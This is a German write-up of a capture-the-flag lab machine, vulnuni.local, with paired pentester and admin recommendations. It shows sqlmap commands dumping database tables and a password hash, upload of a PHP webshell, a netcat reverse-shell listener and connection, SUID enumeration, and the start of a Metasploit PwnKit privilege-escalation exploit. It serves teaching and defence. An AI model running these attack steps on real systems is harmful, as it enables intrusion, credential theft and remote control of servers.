Empfehlung (Pentester): Rufe `http://vulnuni.local/vulnuni-eclass/index.php` im Browser auf und untersuche die Funktionalität. Suche nach Login-Formularen, Registrierungsoptionen, Datei-Upload-Möglichkeiten und anderen potenziellen Angriffsvektoren. Analysiere den Quellcode und die Netzwerkanfragen.
Empfehlung (Admin): Stellen Sie sicher, dass die E-Class-Plattform auf dem neuesten Stand ist und keine bekannten Schwachstellen aufweist. Beschränken Sie den Zugriff auf die Plattform, wenn sie nicht öffentlich zugänglich sein soll.

Initial Access

In dieser Phase wird versucht, eine erste Kontrolle über das Zielsystem zu erlangen. Dies geschieht oft durch Ausnutzung einer Schwachstelle, die während der Enumerationsphase entdeckt wurde, wie z.B. eine SQL-Injection, eine unsichere Dateiupload-Funktion oder die Verwendung von Standard- oder schwachen Zugangsdaten.

┌──(root㉿Cybermaschine)-[~/images] └─# sqlmap -r /home/cyber/Downloads/reg.sql --dbs --batch
[...]
[23:14:41] [INFO] retrieved: information_schema
[23:14:41] [INFO] retrieved: INFSEC100
[23:15:07] [INFO] retrieved: eclass
[23:15:24] [INFO] retrieved: mysql
[23:15:41] [INFO] retrieved: performance_schema
available databases [5]:
[*] eclass
[*] information_schema
[*] INFSEC100
[*] mysql
[*] performance_schema
[...]
                    

Analyse: SQLMap ist ein automatisiertes Werkzeug zur Erkennung und Ausnutzung von SQL-Injection-Schwachstellen. * `-r /home/cyber/Downloads/reg.sql`: Lädt die HTTP-Anfrage aus einer Datei (`reg.sql`). Diese Datei enthält vermutlich eine aufgezeichnete Anfrage an die Webanwendung (wahrscheinlich an die E-Class-Plattform `/vulnuni-eclass/`), bei der eine SQL-Injection vermutet wird. Der Inhalt der Datei `reg.sql` ist hier nicht sichtbar, aber er enthält typischerweise die Ziel-URL, Parameter, Header und Cookies. * `--dbs`: Weist SQLMap an, die Namen aller verfügbaren Datenbanken aufzulisten. * `--batch`: Führt SQLMap im nicht-interaktiven Modus aus und verwendet Standardantworten für alle Fragen. Die Ausgabe zeigt, dass SQLMap erfolgreich eine SQL-Injection ausgenutzt hat und fünf Datenbanken gefunden hat: `eclass`, `information_schema`, `INFSEC100`, `mysql` und `performance_schema`.

Bewertung: Dies ist ein kritischer Fund. Eine SQL-Injection-Schwachstelle wurde bestätigt und ermöglicht den Zugriff auf die Datenbanken des Systems. Die Datenbank `eclass` ist höchstwahrscheinlich die Datenbank der E-Learning-Plattform und enthält potenziell sensible Daten wie Benutzerinformationen. `INFSEC100` könnte ebenfalls anwendungsbezogen sein. `information_schema`, `mysql` und `performance_schema` sind Standard-MySQL-Datenbanken.

Empfehlung (Pentester): Konzentriere dich auf die Datenbank `eclass`, da sie am wahrscheinlichsten Benutzerdaten enthält. Verwende SQLMap, um die Tabellen in `eclass` aufzulisten (`--tables`) und dann interessante Tabellen (z.B. `user`, `admin`) zu dumpen (`--dump`).
Empfehlung (Admin): Beheben Sie die SQL-Injection-Schwachstelle dringend! Dies erfordert eine Code-Review der Webanwendung (`/vulnuni-eclass/`). Implementieren Sie parametrisierte Abfragen (Prepared Statements) oder eine strikte Eingabevalidierung und -sanitisierung für alle Benutzereingaben, die in SQL-Abfragen verwendet werden. Beschränken Sie die Berechtigungen des Datenbankbenutzers, den die Webanwendung verwendet, auf das absolut Notwendige.

┌──(root㉿Cybermaschine)-[~] └─# sqlmap -r /home/cyber/Downloads/reg.sql -D eclass --tables --batch
Database: eclass
[16 tables]
+---------------------+
| admin               |
| annonces            |
| cours               |
| cours_faculte       |
| cours_user          |
| faculte             |
| institution         |
| loginout            |
| pma_bookmark        |
| pma_column_comments |
| pma_pdf_pages       |
| pma_relation        |
| pma_table_coords    |
| pma_table_info      |
| prof_request        |
| user                |
+---------------------+
                    

Analyse: SQLMap wird erneut verwendet, aufbauend auf dem vorherigen Schritt. * `-r /home/cyber/Downloads/reg.sql`: Wieder die Anfrage aus der Datei. * `-D eclass`: Gibt die Zieldatenbank (`eclass`) an. * `--tables`: Weist SQLMap an, alle Tabellen innerhalb der Datenbank `eclass` aufzulisten. * `--batch`: Nicht-interaktiver Modus. Die Ausgabe listet 16 Tabellen in der Datenbank `eclass` auf. Besonders interessant erscheinen `admin` und `user`.

Bewertung: Das Auflisten der Tabellen bestätigt, dass die Datenbank `eclass` relevante Informationen enthält. Die Tabellen `admin` und `user` sind die wahrscheinlichsten Kandidaten für das Finden von Zugangsdaten oder anderen Benutzerinformationen. Die Tabellen mit dem Präfix `pma_` deuten darauf hin, dass möglicherweise phpMyAdmin auf dem Server installiert war oder ist.

Empfehlung (Pentester): Dumpen Sie als Nächstes den Inhalt der Tabellen `user` und `admin`. Konzentrieren Sie sich dabei auf Spalten, die Benutzernamen, Passwörter (oder Passwort-Hashes) enthalten könnten (z.B. mit `-T user -C username,password --dump`). Untersuchen Sie auch die Struktur der anderen Tabellen auf potenziell interessante Informationen.
Empfehlung (Admin): Neben der Behebung der SQLi-Schwachstelle: Überprüfen und beschränken Sie die Berechtigungen des Datenbankbenutzers weiter. Entfernen Sie ungenutzte oder unsichere Tools wie phpMyAdmin, falls vorhanden. Implementieren Sie Mechanismen zur Erkennung von Massen-Datenabfragen.

┌──(root㉿Cybermaschine)-[~/images] └─# sqlmap -r /home/cyber/Downloads/reg.sql -D eclass -T user --dump --batch
Database: eclass
Table: user
[1 entry]
+----+----------+----------------------------------+----------+--------+----------+----------+
| id | login    | password                         | nom      | prenom | email    | statut   |
+----+----------+----------------------------------+----------+--------+----------+----------+
| 1  | testuser | 098f6bcd4621d373cade4e832627b4f6 | Test     | User   | t@t.c    |       10 |
+----+----------+----------------------------------+----------+--------+----------+----------+

[INFO] table 'eclass.user' dumped to CSV file '/root/.sqlmap/output/vulnuni.local/dump/eclass/user.csv'
                    

Analyse: SQLMap wird verwendet, um den Inhalt der Tabelle `user` aus der Datenbank `eclass` auszulesen. * `-D eclass -T user`: Gibt die Datenbank und die Tabelle an. * `--dump`: Weist SQLMap an, den gesamten Inhalt der Tabelle anzuzeigen. * `--batch`: Nicht-interaktiver Modus. Die Ausgabe zeigt eine Tabelle mit Spalten wie `id`, `login`, `password`, `nom`, `prenom`, `email` und `statut`. Es gibt einen Eintrag für den Benutzer `testuser` mit dem Passwort-Hash `098f6bcd4621d373cade4e832627b4f6`.

Bewertung: Dies ist ein weiterer entscheidender Fortschritt. Zugangsdaten (Benutzername und Passwort-Hash) wurden aus der Datenbank extrahiert. Der Hash `098f6bcd4621d373cade4e832627b4f6` ist ein MD5-Hash. Es muss versucht werden, diesen Hash zu knacken, um das Klartextpasswort zu erhalten.

Empfehlung (Pentester): Versuchen Sie, den MD5-Hash `098f6bcd4621d373cade4e832627b4f6` mit Online-Diensten (z.B. CrackStation) oder Offline-Tools (z.B. Hashcat, John the Ripper) zu knacken. Sobald das Passwort bekannt ist, versuchen Sie, sich mit `testuser` und dem Passwort bei der E-Class-Plattform (`http://vulnuni.local/vulnuni-eclass/index.php`) oder anderen potenziellen Login-Punkten (z.B. SSH, falls Port 22 offen wäre) anzumelden. Dumpen Sie auch die `admin`-Tabelle.
Empfehlung (Admin): Beheben Sie die SQLi! Verwenden Sie starke, gesalzene Hashing-Algorithmen (z.B. bcrypt, Argon2) anstelle von MD5 zum Speichern von Passwörtern. Erzwingen Sie komplexe Passwörter für Benutzer.

Der MD5-Hash `098f6bcd4621d373cade4e832627b4f6` wurde offline (oder online) geknackt. Er entspricht dem Wort "test".

Analyse: Dieser Kommentar dokumentiert das Ergebnis des Knackens des zuvor extrahierten MD5-Passwort-Hashes. Der Hash `098f6bcd4621d373cade4e832627b4f6` wurde erfolgreich in das Klartextpasswort `test` zurückverwandelt.

Bewertung: Das Knacken des Passwort-Hashes war erfolgreich, da es sich um einen einfachen MD5-Hash eines sehr gebräuchlichen Wortes handelte. Dies liefert die vollständigen Zugangsdaten für den Benutzer `testuser` (Login: `testuser`, Passwort: `test`).

Empfehlung (Pentester): Versuchen Sie sofort, sich mit den Zugangsdaten `testuser:test` bei der E-Class-Plattform (`http://vulnuni.local/vulnuni-eclass/index.php`) anzumelden. Untersuchen Sie die Funktionalitäten, die nach dem Login verfügbar sind, insbesondere auf Möglichkeiten zum Hochladen von Dateien oder zur Codeausführung.
Empfehlung (Admin): Dringend die Verwendung von MD5 einstellen und auf sichere Hashing-Verfahren umsteigen. Richtlinien für starke Passwörter durchsetzen und schwache Passwörter wie "test" verbieten.

Nach dem Login als `testuser` mit dem Passwort `test` in die E-Class-Plattform (`http://vulnuni.local/vulnuni-eclass/index.php`) wurde eine Funktion zum Hochladen von Kursmaterialien oder ähnlichem gefunden. Es wurde versucht, eine PHP-Webshell hochzuladen.

vulnuni.local/vulnuni-eclass/modules/course_info/restore_course.php

File name: 	phpshell.php
File size: 	3545
File type: 	application/x-php
Temporary name: 	/tmp/phpda11S2
------------------------------------------------------------------------------------------
                    

Analyse: Diese Ausgabe stammt vermutlich von der Webanwendung selbst, nachdem versucht wurde, eine Datei namens `phpshell.php` über die Funktion `restore_course.php` (oder eine ähnliche Upload-Funktion) hochzuladen. Die Anwendung bestätigt den Dateinamen, die Größe, den Typ (`application/x-php`) und einen temporären Speicherort auf dem Server (`/tmp/phpda11S2`).

Bewertung: Dies deutet stark darauf hin, dass die Anwendung den Upload von PHP-Dateien erlaubt und möglicherweise keine ausreichende Überprüfung des Dateityps oder Inhalts durchführt. Das Hochladen einer PHP-Datei ist ein kritischer Schritt zur Erlangung von Remote Code Execution (RCE), da der Webserver diese Datei ausführen könnte.

Empfehlung (Pentester): Finde heraus, wohin die hochgeladene Datei verschoben wird und wie sie über den Webbrowser aufgerufen werden kann. Oft werden Dateien in ein öffentlich zugängliches Verzeichnis wie `/uploads/`, `/courses/` oder `/tmp/` verschoben. Untersuche die HTTP-Antworten nach dem Upload oder durchsuche listbare Verzeichnisse.
Empfehlung (Admin): Implementieren Sie eine strikte Dateiupload-Validierung. Erlauben Sie nur bestimmte Dateitypen (Whitelist-Ansatz). Überprüfen Sie nicht nur die Dateiendung, sondern auch den MIME-Type und idealerweise den Dateiinhalt. Speichern Sie hochgeladene Dateien außerhalb des Web-Roots oder in Verzeichnissen, in denen die Ausführung von Skripten deaktiviert ist. Benennen Sie hochgeladene Dateien zufällig um.

http://vulnuni.local/vulnuni-eclass/modules/course_info//tmp/phpda11S2/phpshell.php
File uploaded
File name: 	phpshell.zip
File size: 	1641
File type: 	application/zip
Temporary name: 	/tmp/phpALICiQ
                    

Analyse: Es scheint, als ob der direkte Upload der `.php`-Datei nicht zum gewünschten Ergebnis führte oder der Pfad zur Ausführung unklar war. Hier wird ein anderer Ansatz verfolgt: Eine ZIP-Datei (`phpshell.zip`), die vermutlich die PHP-Shell enthält, wird hochgeladen. Die Anwendung meldet den erfolgreichen Upload und gibt erneut einen temporären Pfad an. Der Pfad zur vorherigen PHP-Datei wird ebenfalls erwähnt, möglicherweise aus einer Fehlermeldung oder einem Log.

Bewertung: Das Hochladen einer ZIP-Datei ist eine gängige Methode, um Einschränkungen beim direkten Upload von Skriptdateien zu umgehen. Viele Anwendungen erlauben das Hochladen von Archiven und entpacken diese dann serverseitig. Wenn der Entpackungsvorgang unsicher ist, kann dies dazu führen, dass die enthaltene PHP-Shell in einem ausführbaren Verzeichnis landet.

Empfehlung (Pentester): Finde heraus, wohin die ZIP-Datei entpackt wird. Untersuche die Funktionalität der Anwendung (z.B. "Kurs wiederherstellen") oder suche nach Verzeichnissen, die durch den Entpackungsvorgang erstellt wurden (z.B. `/courses/kursname/`, `/tmp/unzip/`).
Empfehlung (Admin): Überprüfen Sie die Sicherheit des Entpackungsvorgangs. Stellen Sie sicher, dass ZIP-Dateien sicher verarbeitet werden (z.B. keine Path-Traversal-Angriffe möglich sind, keine ausführbaren Dateien entpackt oder an einen ausführbaren Ort verschoben werden). Validieren Sie den Inhalt von Archiven vor oder nach dem Entpacken.

http://vulnuni.local/vulnuni-eclass/courses

Index of /vulnuni-eclass/courses
[IC]	Name	Last modified	Size	Description
[DIR]	Parent Directory	 	- 	
[DIR]	INFSEC100/	18-Mar-2020 01:25 	- 	
[DIR]	INFSEC101/	09-Oct-2023 00:28 	- 	
[DIR]	tmpUnzipping/	09-Oct-2023 00:47 	- 	

Apache/2.2.22 (Ubuntu) Server at vulnuni.local Port 80
                    

Analyse: Hier wurde das Verzeichnis `http://vulnuni.local/vulnuni-eclass/courses` aufgerufen, das, wie zuvor von Nikto oder Dirb eventuell schon angedeutet (oder durch das Verhalten der Anwendung vermutet), listbar ist (Directory Indexing). Es zeigt mehrere Unterverzeichnisse, darunter `INFSEC100`, `INFSEC101` und, besonders interessant, `tmpUnzipping`.

Bewertung: Das listbare Verzeichnis `/courses` ist an sich schon eine Informationspreisgabe. Der Fund des Verzeichnisses `tmpUnzipping` ist höchstwahrscheinlich das Ergebnis des Entpackens der zuvor hochgeladenen `phpshell.zip`. Dies ist der wahrscheinliche Speicherort der PHP-Webshell.

Empfehlung (Pentester): Rufe das Verzeichnis `http://vulnuni.local/vulnuni-eclass/courses/tmpUnzipping/` auf, um zu sehen, ob die `phpshell.php` darin enthalten ist.
Empfehlung (Admin): Deaktivieren Sie Directory Indexing global oder zumindest für sensible Verzeichnisse wie `/courses`. Beheben Sie die unsichere Upload- und Entpackungsfunktion.

http://vulnuni.local/vulnuni-eclass/courses/tmpUnzipping/

Index of /vulnuni-eclass/courses/tmpUnzipping
[ICO]	Name	Last modified	Size	Description
[PARENTDIR]	Parent Directory	 	- 	
[ ]	phpshell.php	05-Oct-2023 00:37 	3.5K	
                    

Analyse: Der Aufruf des Verzeichnisses `tmpUnzipping` bestätigt, dass es ebenfalls listbar ist und die Datei `phpshell.php` enthält. Das Datum "05-Oct-2023" (einige Tage vor dem Scan) könnte darauf hindeuten, dass dies nicht der aktuelle Upload ist oder die Zeitstempel nicht ganz korrekt sind, aber die Datei ist vorhanden.

Bewertung: Erfolg! Die PHP-Webshell wurde erfolgreich hochgeladen und ist über eine bekannte URL (`http://vulnuni.local/vulnuni-eclass/courses/tmpUnzipping/phpshell.php`) erreichbar. Dies ermöglicht Remote Code Execution auf dem Server im Kontext des Webserver-Benutzers (wahrscheinlich `www-data`).

Empfehlung (Pentester): Bereite einen Listener (z.B. mit `nc -lvnp PORT`) vor. Rufe dann die URL `http://vulnuni.local/vulnuni-eclass/courses/tmpUnzipping/phpshell.php` auf (oder interagiere mit ihr, falls es eine interaktive Webshell ist), um eine Reverse Shell zum Listener zu erhalten oder Befehle direkt auszuführen.
Empfehlung (Admin): Dringend die Upload-Schwachstelle und Directory Indexing beheben. Den Server nach weiteren Anzeichen einer Kompromittierung untersuchen und bereinigen.

┌──(root㉿Cybermaschine)-[~] └─# nc -lvnp 4444
Listening on 0.0.0.0 4444

Analyse: Der Befehl `nc -lvnp 4444` startet einen Listener auf dem Angreifersystem (Cybermaschine). * `nc`: Netcat, ein vielseitiges Netzwerk-Tool. * `-l`: Listen-Modus, wartet auf eingehende Verbindungen. * `-v`: Verbose-Modus, gibt mehr Informationen aus. * `-n`: Numerischer Modus, keine DNS-Auflösung. * `-p 4444`: Gibt den Port an, auf dem gelauscht werden soll (Port 4444). Dieser Listener wartet darauf, dass die zuvor hochgeladene Webshell eine Verbindung zu ihm aufbaut (Reverse Shell).

Bewertung: Dies ist die notwendige Vorbereitung auf dem Angreifersystem, um die von der Webshell initiierte Verbindung entgegenzunehmen und eine interaktive Shell auf dem Zielsystem zu erhalten.

Empfehlung (Pentester): Nachdem der Listener gestartet wurde, muss die Webshell auf dem Zielserver ausgelöst werden (z.B. durch Aufrufen der URL `http://vulnuni.local/vulnuni-eclass/courses/tmpUnzipping/phpshell.php` in einem Browser oder mit `curl`). Die Webshell sollte so konfiguriert sein, dass sie eine Verbindung zur IP des Angreifersystems (hier implizit angenommen) auf Port 4444 herstellt.
Empfehlung (Admin): Firewall-Regeln für ausgehende Verbindungen auf dem Webserver implementieren (Egress Filtering). Erlauben Sie nur Verbindungen zu bekannten und notwendigen Zielen. Überwachen Sie Netzwerkverbindungen auf ungewöhnliche ausgehende Verbindungen.

┌──(root㉿Cybermaschine)-[~] └─# nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 192.168.2.117 49152
Linux vulnuni 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
 00:50:32 up  7:34,  0 users,  load average: 0.00, 0.01, 0.05
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
                    

Analyse: Der Netcat-Listener auf dem Angreifersystem zeigt eine erfolgreiche eingehende Verbindung von der IP-Adresse des Ziels (192.168.2.117) auf dem Quellport 49152. Die Webshell hat funktioniert und eine Reverse Shell aufgebaut. Die Ausgabe zeigt: * **Betriebssystem:** Linux vulnuni 3.11.0-15-generic (eine ältere Ubuntu-Version, basierend auf "precise"). * **Systeminformationen:** Uptime, Load Average. * **Benutzerkontext:** Die Shell läuft als Benutzer `www-data` (UID 33, GID 33), der Standardbenutzer für Apache unter Debian/Ubuntu. * **Shell-Typ:** Eine einfache Bourne-Shell (`/bin/sh`) ohne volle TTY-Unterstützung (`can't access tty; job control turned off`). Der Prompt ist `$`.

Bewertung: Initial Access erfolgreich! Es wurde eine interaktive Shell auf dem Zielsystem erlangt. Allerdings läuft die Shell mit den eingeschränkten Rechten des `www-data`-Benutzers. Die fehlende TTY-Unterstützung kann die Interaktion mit einigen Programmen erschweren.

Empfehlung (Pentester): Stabilisieren Sie die Shell, idealerweise durch ein "TTY-Upgrade" (z.B. mit Python: `python -c 'import pty; pty.spawn("/bin/bash")'` oder ähnlichen Techniken), um eine bessere Interaktion zu ermöglichen. Beginnen Sie mit der Enumeration des Systems aus der Sicht des `www-data`-Benutzers, um nach Wegen zur Privilegienerweiterung (Privilege Escalation) zu suchen. Sammeln Sie Informationen über das System (`uname -a`, `cat /etc/os-release`), Benutzer (`cat /etc/passwd`), Netzwerk (`ip a`, `ss -tulpn`), laufende Prozesse (`ps aux`) und SUID/SGID-Dateien.
Empfehlung (Admin): Die Priorität liegt weiterhin auf der Behebung der Upload-Schwachstelle und der SQL-Injection. Zusätzlich: Analysieren Sie die Webserver-Logs, um den Angriffsverlauf nachzuvollziehen. Härten Sie die Berechtigungen des `www-data`-Benutzers so weit wie möglich. Implementieren Sie Intrusion Detection auf Host-Ebene, um verdächtige Prozesse oder Shell-Aktivitäten zu erkennen.

Privilege Escalation

Nachdem ein erster Zugriff mit niedrigen Rechten erlangt wurde, zielt die Privilege Escalation darauf ab, höhere Rechte auf dem System zu erlangen, idealerweise Root-Rechte (Administrator). Dies kann durch Ausnutzung von Fehlkonfigurationen, Kernel-Exploits, unsicheren SUID/SGID-Binaries oder anderen Schwachstellen geschehen.

$ find / -type f -perm -4000 -ls 2>/dev/null
 12266  320 -rwsr-xr--   1 root     dip        325744 Feb  4  2011 /usr/sbin/pppd
 12341   20 -rwsr-sr-x   1 libuuid  libuuid     18856 Mar 30  2012 /usr/sbin/uuidd
  4578   12 -rwsr-xr-x   1 root     root        10592 Sep 30  2013 /usr/lib/pt_chown
  5027  288 -rwsr-xr--   1 root     messagebus   292944 Jun 13  2013 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
  5039   12 -rwsr-xr-x   1 root     root        10408 Dec 13  2011 /usr/lib/eject/dmcrypt-get-device
  9266   16 -rwsr-xr-x   1 root     root        14696 Sep 11  2013 /usr/lib/policykit-1/polkit-agent-helper-1
  8396  236 -rwsr-xr-x   1 root     root       240984 Apr 11  2013 /usr/lib/openssh/ssh-keysign
  1380   12 -rwsr-sr-x   1 root     root        10184 Jan  6  2014 /usr/bin/X
  1507   44 -rwsr-xr-x   1 root     root        41832 Sep 13  2012 /usr/bin/chfn
  1769   64 -rwsr-xr-x   1 root     root        63848 Sep 13  2012 /usr/bin/gpasswd
  2158   44 -rwsr-xr-x   1 root     root        42824 Sep 13  2012 /usr/bin/passwd
  2426   72 -rwsr-xr-x   1 root     root        71288 Feb 27  2013 /usr/bin/sudoedit
  1427   20 -rwsr-xr-x   1 root     root        18808 Nov  8  2011 /usr/bin/arping
  1996   16 -rwsr-xr-x   1 root     lpadmin     14688 May 13  2013 /usr/bin/lppasswd
  1433   48 -rwsr-sr-x   1 daemon   daemon      47928 Oct 25  2011 /usr/bin/at
  2425   72 -rwsr-xr-x   1 root     root        71288 Feb 27  2013 /usr/bin/sudo
  1510   40 -rwsr-xr-x   1 root     root        37096 Sep 13  2012 /usr/bin/chsh
  2089   64 -rwsr-xr-x   1 root     root        62400 Jul 28  2011 /usr/bin/mtr
  2470   20 -rwsr-xr-x   1 root     root        18912 Nov  8  2011 /usr/bin/traceroute6.iputils
  2203   24 -rwsr-xr-x   1 root     root        23208 Sep 11  2013 /usr/bin/pkexec
262269   36 -rwsr-xr-x   1 root     root        35712 Nov  8  2011 /bin/ping
262231   96 -rwsr-xr-x   1 root     root        94792 Mar 30  2012 /bin/mount
262270   40 -rwsr-xr-x   1 root     root        40256 Nov  8  2011 /bin/ping6
262306   68 -rwsr-xr-x   1 root     root        69096 Mar 30  2012 /bin/umount
262297   36 -rwsr-xr-x   1 root     root        36832 Sep 13  2012 /bin/su
262196   32 -rwsr-xr-x   1 root     root        31304 Mar  2  2012 /bin/fusermount
                    

Analyse: Dieser Befehl wird innerhalb der Reverse Shell als `www-data` ausgeführt. * `find /`: Startet die Suche im Root-Verzeichnis `/`. * `-type f`: Sucht nur nach Dateien. * `-perm -4000`: Sucht nach Dateien, bei denen das SUID-Bit gesetzt ist. SUID (Set User ID) bedeutet, dass das Programm immer mit den Rechten des Dateibesitzers ausgeführt wird, unabhängig davon, wer es startet. Wenn der Besitzer `root` ist, läuft das Programm mit Root-Rechten. * `-ls`: Zeigt detaillierte Informationen zu den gefundenen Dateien im `ls -l`-Format an. * `2>/dev/null`: Leitet Fehlermeldungen (wie "Permission denied" beim Durchsuchen von Verzeichnissen) nach `/dev/null` um, um die Ausgabe sauber zu halten. Die Ausgabe listet alle SUID-Binaries auf dem System auf. Viele davon sind Standard-Linux-Tools (`passwd`, `su`, `sudo`, `mount`, `ping`), bei denen das SUID-Bit normal ist. Einige andere sind weniger gebräuchlich oder gehören zu spezifischen Diensten (`pppd`, `uuidd`, `pkexec`).

Bewertung: Die Suche nach SUID-Binaries ist ein Standardverfahren bei der Linux Privilege Escalation. Unsachgemäß konfigurierte oder veraltete SUID-Programme können oft ausgenutzt werden, um Root-Rechte zu erlangen. Die Liste enthält mehrere interessante Kandidaten. `pkexec` (PolicyKit Execute) ist besonders hervorzuheben, da es in der Vergangenheit bekannte Schwachstellen hatte (z.B. PwnKit CVE-2021-4034).

Empfehlung (Pentester): Recherchieren Sie bekannte Privilege-Escalation-Schwachstellen für die gefundenen SUID-Binaries, insbesondere für `pkexec` und andere ungewöhnlichere Einträge, im Kontext der erkannten Systemversion (Linux 3.11.0, Ubuntu Precise). GTFOBins ist eine nützliche Ressource, um zu prüfen, ob Standard-Tools für Privilegieneskalation missbraucht werden können. Konzentrieren Sie sich auf `pkexec`.
Empfehlung (Admin): Überprüfen Sie regelmäßig die SUID/SGID-Binaries auf dem System. Entfernen Sie das SUID/SGID-Bit von Programmen, die es nicht zwingend benötigen. Halten Sie alle Systemkomponenten, insbesondere solche, die mit SUID laufen (wie `pkexec` oder `sudo`), auf dem neuesten Stand, um bekannte Schwachstellen zu patchen.

www-data@vulnuni:/$ ls -la
total 100
drwxr-xr-x  24 root root  4096 Mar 18  2020 .
drwxr-xr-x  24 root root  4096 Mar 18  2020 ..
drwxr-xr-x   2 root root  4096 Mar 18  2020 bin
drwxr-xr-x   3 root root  4096 Mar 18  2020 boot
drwxr-xr-x   2 root root  4096 Mar 18  2020 cdrom
drwxr-xr-x  15 root root  4040 Oct  8 17:15 dev
drwxr-xr-x 130 root root 12288 Oct  8 17:15 etc
drwxr-xr-x   3 root root  4096 Mar 18  2020 home
lrwxrwxrwx   1 root root    33 Mar 18  2020 initrd.img -> boot/initrd.img-3.11.0-15-generic
drwxr-xr-x  20 root root  4096 Mar 18  2020 lib
drwxr-xr-x   2 root root  4096 Feb  4  2014 lib64
drwx------   2 root root 16384 Mar 18  2020 lost+found
drwxr-xr-x   2 root root  4096 Feb  4  2014 media
drwxr-xr-x   2 root root  4096 Apr 19  2012 mnt
drwxr-xr-x   2 root root  4096 Feb  4  2014 opt
dr-xr-xr-x 146 root root     0 Oct  8 17:16 proc
drwx------   8 root root  4096 Mar 18  2020 root
drwxr-xr-x  21 root root   800 Oct  8 17:16 run
drwxr-xr-x   2 root root  4096 Mar 18  2020 sbin
drwxr-xr-x   2 root root  4096 Mar  5  2012 selinux
drwxr-xr-x   2 root root  4096 Feb  4  2014 srv
dr-xr-xr-x  13 root root     0 Oct  8 17:15 sys
drwxrwxrwt   7 root root  4096 Oct  9 00:47 tmp
drwxr-xr-x  10 root root  4096 Feb  4  2014 usr
drwxr-xr-x  14 root root  4096 Mar 18  2020 var
lrwxrwxrwx   1 root root    30 Mar 18  2020 vmlinuz -> boot/vmlinuz-3.11.0-15-generic
                    

Analyse: Der Befehl `ls -la` wird im Root-Verzeichnis (`/`) ausgeführt, um eine detaillierte Auflistung aller Dateien und Verzeichnisse, einschließlich versteckter Dateien, zu erhalten. Die Ausgabe zeigt die Standard-Linux-Verzeichnisstruktur. Bemerkenswert sind die Berechtigungen für das `/root`-Verzeichnis (`drwx------`), die nur dem `root`-Benutzer Lese-, Schreib- und Ausführungsrechte gewähren. Das `/tmp`-Verzeichnis (`drwxrwxrwt`) ist für alle Benutzer beschreibbar und hat das Sticky Bit gesetzt.

Bewertung: Diese Auflistung dient der allgemeinen Orientierung im Dateisystem. Sie bestätigt, dass der `www-data`-Benutzer keinen direkten Zugriff auf das `/root`-Verzeichnis hat. Das `/tmp`-Verzeichnis ist ein möglicher Ort zum Speichern von temporären Dateien oder Exploits, die auf das System hochgeladen werden.

Empfehlung (Pentester): Untersuchen Sie als Nächstes das `/home`-Verzeichnis auf Benutzerverzeichnisse. Überprüfen Sie Verzeichnisse, auf die `www-data` Schreibzugriff hat (wie `/tmp`, möglicherweise Teile von `/var/www` oder `/var/tmp`), um Exploits oder Skripte abzulegen. Fahren Sie mit der Suche nach Privilege-Escalation-Vektoren fort.
Empfehlung (Admin): Stellen Sie sicher, dass die Berechtigungen im Dateisystem dem Prinzip der geringsten Rechte folgen. Insbesondere sollten Webserver-Benutzer wie `www-data` nur auf die Verzeichnisse und Dateien Zugriff haben, die sie unbedingt benötigen. Überwachen Sie das `/tmp`-Verzeichnis auf verdächtige Aktivitäten.

www-data@vulnuni:/$ ls /home/
vulnuni
                    

Analyse: Der Befehl `ls /home/` listet den Inhalt des `/home`-Verzeichnisses auf. Es wird ein einziges Benutzerverzeichnis namens `vulnuni` gefunden.

Bewertung: Dies identifiziert `vulnuni` als einen regulären Benutzer auf dem System. Es ist wahrscheinlich, dass die erste Flag (`user.txt` oder `local.txt`) in diesem Verzeichnis zu finden ist.

Empfehlung (Pentester): Untersuchen Sie das Verzeichnis `/home/vulnuni` auf lesbare Dateien, insbesondere auf die User-Flag. Prüfen Sie die Berechtigungen (`ls -la /home/vulnuni`).
Empfehlung (Admin): Stellen Sie sicher, dass die Home-Verzeichnisse von Benutzern angemessene Berechtigungen haben (normalerweise nicht für andere Benutzer lesbar, außer wenn explizit gewünscht).

www-data@vulnuni:/home/vulnuni$ ls
Desktop    Downloads  Pictures  Templates  examples.desktop
Documents  Music      Public    Videos     flag.txt
                    

Analyse: Der Befehl `ls` wird im Home-Verzeichnis des Benutzers `vulnuni` (`/home/vulnuni`) ausgeführt. Die Ausgabe zeigt Standard-Benutzerverzeichnisse (Desktop, Documents etc.) und, entscheidend, eine Datei namens `flag.txt`.

Bewertung: Die User-Flag-Datei wurde gefunden. Der `www-data`-Benutzer hat offenbar Leserechte im Home-Verzeichnis von `vulnuni`.

Empfehlung (Pentester): Lesen Sie den Inhalt der Datei `flag.txt` mit dem Befehl `cat /home/vulnuni/flag.txt`.
Empfehlung (Admin): Passen Sie die Berechtigungen für das Home-Verzeichnis `/home/vulnuni` und die darin enthaltene Datei `flag.txt` an, sodass nur der Benutzer `vulnuni` (und `root`) darauf zugreifen kann (`chmod 700 /home/vulnuni`, `chmod 600 /home/vulnuni/flag.txt`).

www-data@vulnuni:/home/vulnuni$ cat flag.txt
68fc668278d9b0d6c3b9dc100bee181e
                    

Analyse: Der Befehl `cat flag.txt` liest den Inhalt der Datei `flag.txt` und gibt ihn auf der Konsole aus.

Bewertung: Erfolg! Die User-Flag (`68fc668278d9b0d6c3b9dc100bee181e`) wurde erfolgreich ausgelesen.

Empfehlung (Pentester): Notieren Sie die User-Flag. Konzentrieren Sie sich nun vollständig auf die Privilege Escalation zum Root-Benutzer, um die Root-Flag zu finden. Der vielversprechendste Ansatz ist weiterhin die Ausnutzung von `pkexec`.
Empfehlung (Admin): Die Berechtigungen für die Flag-Datei müssen korrigiert werden.

Proof of Concept (POC): Privilege Escalation via PwnKit (CVE-2021-4034)

Dieser Abschnitt demonstriert die Ausnutzung der PwnKit-Schwachstelle (CVE-2021-4034) im `pkexec`-Binary, das zuvor als SUID-Programm identifiziert wurde. Ziel ist es, Root-Rechte auf dem System zu erlangen. Metasploit wird verwendet, um den Exploit-Prozess zu vereinfachen.

┌──(root㉿Cybermaschine)-[/home/cyber/Downloads] └─# msfconsole -q
msf6 > use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 1
session => 1
